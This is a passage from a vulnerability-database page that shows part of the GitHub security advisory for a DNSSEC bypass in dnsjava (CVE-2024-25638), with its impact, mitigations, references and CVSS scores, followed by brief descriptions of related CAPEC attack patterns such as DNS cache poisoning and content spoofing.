Exchanging the SRV records can be a tool to redirect the credentials.\n- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.\n- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.\n\n### Mitigations\n\nAt this point, the following mitigations are recommended:\n\n- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).\n- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`.\n- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.",
  "id": "GHSA-cfxw-4h78-h7fw",
  "modified": "2024-09-04T14:24:15Z",
  "published": "2024-07-22T14:33:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-cfxw-4h78-h7fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/commit/2073a0cdea2c560465f7ac0cc56f202e6fc39705"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnsjava/dnsjava"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DNSJava DNSSEC Bypass"
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.